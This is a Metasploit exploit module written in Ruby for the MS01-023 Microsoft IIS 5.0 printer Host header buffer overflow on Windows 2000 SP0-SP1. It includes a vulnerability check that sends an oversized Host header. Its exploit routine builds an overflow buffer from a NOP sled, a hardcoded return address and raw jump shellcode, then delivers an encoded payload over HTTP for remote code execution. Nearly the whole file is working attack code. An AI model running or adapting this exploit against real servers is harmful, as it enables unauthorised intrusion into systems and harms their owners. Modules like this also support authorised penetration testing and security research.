##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow',
      'Description'    => %q{
          This exploits a buffer overflow in the request processor of
        the Internet Printing Protocol ISAPI module in IIS. This
        module works against Windows 2000 service pack 0 and 1. If
        the service stops responding after a successful compromise,
        run the exploit a couple more times to completely kill the
        hung process.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2001-0241'],
          [ 'OSVDB', '3323'],
          [ 'BID', '2674'],
          [ 'MSB', 'MS01-023'],
          [ 'URL', 'http://seclists.org/lists/bugtraq/2001/May/0005.html'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 900,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
          'StackAdjustment' => -3500,
        },
      'Targets'        =>
        [
          [
            'Windows 2000 English SP0-SP1',
            {
              'Platform' => 'win',
              'Ret'      => 0x732c45f3,
            },
          ],
        ],
      'Platform'       => 'win',
      'DisclosureDate' => 'May 1 2001',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(80)
      ])
  end


  def check
    connect
    sock.put("GET /NULL.printer HTTP/1.0\r\n\r\n")
    resp = sock.get_once
    disconnect

    if !(resp and resp =~ /Error in web printer/)
      return Exploit::CheckCode::Safe
    end

    connect
    sock.put("GET /NULL.printer HTTP/1.0\r\nHost: #{"X"*257}\r\n\r\n")
    resp = sock.get_once
    disconnect

    if (resp and resp =~ /locked out/)
      print_status("The IUSER account is locked out, we can't check")
      return Exploit::CheckCode::Detected
    end

    if (resp and resp.index("HTTP/1.1 500") >= 0)
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    buf = make_nops(280)
    buf[268, 4] = [target.ret].pack('V')

    # payload is at: [ebx + 96] + 256 + 64
    buf << "\x8b\x4b\x60"        # mov ecx, [ebx + 96]
    buf << "\x80\xc1\x40"        # add cl, 64
    buf << "\x80\xc5\x01"        # add ch, 1
    buf << "\xff\xe1"            # jmp ecx

    sock.put("GET http://#{buf}/NULL.printer?#{payload.encoded} HTTP/1.0\r\n\r\n")

    handler
    disconnect
  end
end
